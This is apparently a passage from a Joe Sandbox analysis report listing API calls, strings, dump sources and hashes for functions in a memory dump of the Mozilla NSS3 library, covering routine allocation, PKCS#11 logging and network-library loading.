PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6CE68F3F

Part of subcall function 6CE6A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6CE6A421,00000000,00000000,6CE69826), ref: 6CE6A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE6904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6CE68E76

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 95d26309f01792c86741a7790431a621082e3798cf83508ddbbba4bd747a90e4
Instruction ID: c2f2dd2ea428c4033ab52d8460bd3909bc1544fbc6dacf89961d134e206cd106
Opcode Fuzzy Hash: 95d26309f01792c86741a7790431a621082e3798cf83508ddbbba4bd747a90e4
Instruction Fuzzy Hash: 0F61B4B5D102099BDB10CFA6CC40AAFB7B5FF85358F244128DC58A7B01E736A915CBA0

Function 6CE18E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE18E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CE18E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE18EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CF418D0,?), ref: 6CE18F03
PR_CallOnce.NSS3(6CF72AA4,6CE712D0), ref: 6CE18F19
PL_FreeArenaPool.NSS3(?), ref: 6CE18F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE18F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE18F65
PL_FinishArenaPool.NSS3(?), ref: 6CE18FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CE18FFE
PR_CallOnce.NSS3(6CF72AA4,6CE712D0), ref: 6CE19012
PL_FreeArenaPool.NSS3(?), ref: 6CE19024
PL_FinishArenaPool.NSS3(?), ref: 6CE1902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CE1903E

Strings

security, xrefs: 6CE18EE7

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 96dbbdf00cba886386cf3651989f11d64bbca318f341517ad20a1cab08eda009
Instruction ID: c65ef86a1d799aaedbdda870336843597d4edf728e7b65a4db4979099a5fb926
Opcode Fuzzy Hash: 96dbbdf00cba886386cf3651989f11d64bbca318f341517ad20a1cab08eda009
Instruction Fuzzy Hash: 4F5127B560C300ABD7205A549C41FAB77B8AB8635CF76082EF45997F40E731D929C762

Function 6CE44E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6CE44E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE44EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE44EC7

Part of subcall function 6CF2D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF2D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE44EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CE44F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE44F1A
PR_LogPrint.NSS3(?,00000000), ref: 6CE44F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CE44F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CE44F68

Strings

pTemplate = 0x%p, xrefs: 6CE44F4A
hObject = 0x%x, xrefs: 6CE44EF5, 6CE44F05
hSession = 0x%x, xrefs: 6CE44EA2, 6CE44EB2
C_GetAttributeValue, xrefs: 6CE44E7E
ulCount = %d, xrefs: 6CE44F63
(CK_INVALID_HANDLE), xrefs: 6CE44EC0, 6CE44F13

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: 029e2719b6b206dbdcf6dcfcda83a66d548bf5af7cbf6eeeeb979769fc0d92a6
Instruction ID: 139369d56914f8b8ee0e07dcf5b53730b4aa985d3069c20ec97869210ecc4477
Opcode Fuzzy Hash: 029e2719b6b206dbdcf6dcfcda83a66d548bf5af7cbf6eeeeb979769fc0d92a6
Instruction Fuzzy Hash: 3C41FF31B01124EFDB019F90FD49F9A37B5AF4231DF25842AE8085BB12DB369D18CBA1

Function 6CE44CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6CE44CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE44D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE44D37

Part of subcall function 6CF2D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF2D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE44D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CE44D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE44D8A
PR_LogPrint.NSS3(?,00000000), ref: 6CE44DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6CE44DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6CE44E20

Strings

hObject = 0x%x, xrefs: 6CE44D65, 6CE44D75
*pulSize = 0x%x, xrefs: 6CE44E1B
hSession = 0x%x, xrefs: 6CE44D12, 6CE44D22
C_GetObjectSize, xrefs: 6CE44CEE
pulSize = 0x%p, xrefs: 6CE44DB7
(CK_INVALID_HANDLE), xrefs: 6CE44D30, 6CE44D83

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: 816d6c94242f935d9f27e8007c5c6d869a38dd9643cb1a6783783fa3eef0457a
Instruction ID: 27013b013684755c586e4def9d8767b8e7056308b8b83f1aa50fb2bcde05803c
Opcode Fuzzy Hash: 816d6c94242f935d9f27e8007c5c6d869a38dd9643cb1a6783783fa3eef0457a
Instruction Fuzzy Hash: 8341F671B00114EFD7419F90FD88F6A37B5AB4231DF15842AE8086BB12DB369D18CBA1

Function 6CE47C90 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6CE47CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE47CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE47CF3

Part of subcall function 6CF2D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF2D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE47D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CE47D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CE47D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CE47D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CE47D77

Strings

C_Verify, xrefs: 6CE47CB1
hSession = 0x%x, xrefs: 6CE47CCE, 6CE47CDE
pSignature = 0x%p, xrefs: 6CE47D59
ulSignatureLen = %d, xrefs: 6CE47D72
ulDataLen = %d, xrefs: 6CE47D40
pData = 0x%p, xrefs: 6CE47D25
(CK_INVALID_HANDLE), xrefs: 6CE47CEC

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify
API String ID: 1003633598-3278097884
Opcode ID: 0b1489d77cebea5a504448f10d2585a8ad35031f6ae0734d89373cc94138ca30
Instruction ID: d6c50075d3f6caab9cdff0f4cef212a0fc334afe98fd03befc16712cfe8adea1
Opcode Fuzzy Hash: 0b1489d77cebea5a504448f10d2585a8ad35031f6ae0734d89373cc94138ca30
Instruction Fuzzy Hash: 7131C231A11164EFDB419F94FD48FAA3BB1AB4331CF198428E80957712DB329919CBF1

Function 6CE42F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6CE42F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE42F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE42F63

Part of subcall function 6CF2D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF2D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE42F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6CE42F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6CE42FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6CE42FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6CE42FE7

Strings

pOldPin = 0x%p, xrefs: 6CE42F95
hSession = 0x%x, xrefs: 6CE42F3E, 6CE42F4E
ulOldLen = %d, xrefs: 6CE42FB0
pNewPin = 0x%p, xrefs: 6CE42FC9
ulNewLen = %d, xrefs: 6CE42FE2
(CK_INVALID_HANDLE), xrefs: 6CE42F5C
C_SetPIN, xrefs: 6CE42F21

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: a43bd491a2e57cc58ded46ab9958d5f542ac5746853b986d17a0fd98ec61c000
Instruction ID: 17b7b3a9bab96c2fe066bd4d6347814c293d29fbf6e9215cc044ef012beaf97a
Opcode Fuzzy Hash: a43bd491a2e57cc58ded46ab9958d5f542ac5746853b986d17a0fd98ec61c000
Instruction Fuzzy Hash: 5731F531E01154EFCB419F94ED4DF4A3BB1AB4631DF558028E808A7712DB729818DBB1

Function 6CEDCD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CEDCC7B), ref: 6CEDCD7A

Part of subcall function 6CEDCE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CE4C1A8,?), ref: 6CEDCE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CEDCDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CEDCDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CEDCDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CEDCD8E

Part of subcall function 6CE005C0: PR_EnterMonitor.NSS3 ref: 6CE005D1
Part of subcall function 6CE005C0: PR_ExitMonitor.NSS3 ref: 6CE005EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CEDCDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CEDCDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CEDCE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CEDCE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CEDCE48

Strings

getnameinfo, xrefs: 6CEDCDB2, 6CEDCE23
ws2_32.dll, xrefs: 6CEDCD75
wship6.dll, xrefs: 6CEDCDE3
freeaddrinfo, xrefs: 6CEDCD9F, 6CEDCE10
getaddrinfo, xrefs: 6CEDCD88, 6CEDCDF9

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 0966046a7ef968b1a2b2671f6159ddbbf7a6d61a3fefdd2f519303077b0ee23b
Instruction ID: 9feaf79793a916d53faf1eadae7a989533eaefffcd9632a6f2849a63eb10c15c
Opcode Fuzzy Hash: 0966046a7ef968b1a2b2671f6159ddbbf7a6d61a3fefdd2f519303077b0ee23b
Instruction Fuzzy Hash: 451120E5F2252156D7416F713C11AAF3E785B0208CF358938D809D2F42FB21D51E86F1

Function 6CF21C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6CF213BC,?,?,?,6CF21193), ref: 6CF21C6B
PR_NewLock.NSS3(?,6CF21193), ref: 6CF21C7E

Part of subcall function 6CED98D0: calloc.MOZGLUE(00000001,00000084,6CE00936,00000001,?,6CE0102C), ref: 6CED98E5

PR_NewCondVar.NSS3(00000000,?,6CF21193), ref: 6CF21C91

Part of subcall function 6CDFBB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CE021BC), ref: 6CDFBB8C

PR_NewCondVar.NSS3(00000000,?,?,6CF21193), ref: 6CF21CA7

Part of subcall function 6CDFBB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CDFBBEB
Part of subcall function 6CDFBB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CDFBBFB
Part of subcall function 6CDFBB80: GetLastError.KERNEL32 ref: 6CDFBC03
Part of subcall function 6CDFBB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CDFBC19
Part of subcall function 6CDFBB80: free.MOZGLUE(00000000), ref: 6CDFBC22

PR_NewCondVar.NSS3(00000000,?,?,?,6CF21193), ref: 6CF21CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6CF21193), ref: 6CF21CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6CF21193), ref: 6CF21CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6CF21193), ref: 6CF21D1A

Part of subcall function 6CED9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE01A48), ref: 6CED9BB3
Part of subcall function 6CED9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE01A48), ref: 6CED9BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6CF21193), ref: 6CF21D3D

Part of subcall function 6CEBDD70: TlsGetValue.KERNEL32 ref: 6CEBDD8C
Part of subcall function 6CEBDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEBDDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6CF21193), ref: 6CF21D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6CF21193), ref: 6CF21D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6CF21193), ref: 6CF21D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6CF21193), ref: 6CF21D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6CF21193), ref: 6CF21D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6CF21193), ref: 6CF21D93
PR_DestroyLock.NSS3(00000000,?,?,6CF21193), ref: 6CF21D9F
free.MOZGLUE(00000000,?,6CF21193), ref: 6CF21DA8

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: 971da1bfd4bbcb55f86dec3b0a6fc8b6b225aaeb7acf5bbcd9b829755229c860
Instruction ID: 69bfff625b3cea018c17f5952bf00d0d587d9dc095850806e054fa3ae5ccc2a8
Opcode Fuzzy Hash: 971da1bfd4bbcb55f86dec3b0a6fc8b6b225aaeb7acf5bbcd9b829755229c860
Instruction Fuzzy Hash: CA31C6F5E007019BEB219F75AC11B6776F4AF01608F148538E84A87B41FB32E919CBA6

Function 6CE35E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE35ECF
EnterCriticalSection.KERNEL32(?), ref: 6CE35EE3
PR_Unlock.NSS3(?), ref: 6CE35F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6CE35FB5

Strings

S&l, xrefs: 6CE35E6C, 6CE3627F, 6CE35F12
S&l, xrefs: 6CE362E3
NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6CE361F4

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&l$S&l
API String ID: 2280678669-148785157
Opcode ID: 85467b57d9d5aa461b2267a8af45d67c0413ca1bcc844014242116b7299dfc9f
Instruction ID: 17535b6a6e8f315822c2013f42040f6d5fec4ee74ebb8c3d4f535119e28dceec
Opcode Fuzzy Hash: 85467b57d9d5aa461b2267a8af45d67c0413ca1bcc844014242116b7299dfc9f
Instruction Fuzzy Hash: ADF117B5A002158FDB44CF29C884B86BBF4FF09308F65919AD8089F746D774EA95CF91

Function 6CE80C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,l), ref: 6CE80C81

Part of subcall function 6CE6BE30: SECOID_FindOID_Util.NSS3(6CE2311B,00000000,?,6CE2311B,?), ref: 6CE6BE44

Part of subcall function 6CE58500: SECOID_GetAlgorithmTag_Util.NSS3(6CE595DC,00000000,00000000,00000000,?,6CE595DC,00000000,00000000,?,6CE37F4A,00000000,?,00000000,00000000), ref: 6CE58517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE80CC4

Part of subcall function 6CE6FAB0: free.MOZGLUE(?,-00000001,?,?,6CE0F673,00000000,00000000), ref: 6CE6FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CE80CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CE80D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CE80D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CE80D7D
free.MOZGLUE(00000000), ref: 6CE80DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE80DC1
free.MOZGLUE(00000000), ref: 6CE80DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE80E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CE80E0F

Part of subcall function 6CE595C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CE37F4A,00000000,?,00000000,00000000), ref: 6CE595E0
Part of subcall function 6CE595C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CE37F4A,00000000,?,00000000,00000000), ref: 6CE595F5
Part of subcall function 6CE595C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CE59609
Part of subcall function 6CE595C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CE5961D
Part of subcall function 6CE595C0: PK11_GetInternalSlot.NSS3 ref: 6CE5970B
Part of subcall function 6CE595C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CE59756
Part of subcall function 6CE595C0: PK11_GetIVLength.NSS3(?), ref: 6CE59767
Part of subcall function 6CE595C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CE5977E
Part of subcall function 6CE595C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE5978E

Strings

*,l, xrefs: 6CE80DCC
-$l, xrefs: 6CE80C64
*,l, xrefs: 6CE80C69, 6CE80DE0, 6CE80C80, 6CE80C8B, 6CE80CAF

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,l$*,l$-$l
API String ID: 3136566230-2303401061
Opcode ID: 83ae3c11c7dd534c1dcd9884471a504733de284c903c8dd3ecb877fe136f7123
Instruction ID: d8358a3b7e6668d4a735506c6c09e302ac6baff1e70c75ea65dbc46c55ff4696
Opcode Fuzzy Hash: 83ae3c11c7dd534c1dcd9884471a504733de284c903c8dd3ecb877fe136f7123
Instruction Fuzzy Hash: 5B41C4B1D02255ABEB009F65DC41BEF7674AF4530CF204128E91957781E735EA15CBE2

Function 6CE75CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6CE75EC0,00000000,?,?), ref: 6CE75CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6CE75CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CE75CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CE75D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6CE75EC0,00000000,?,?), ref: 6CE75D1F
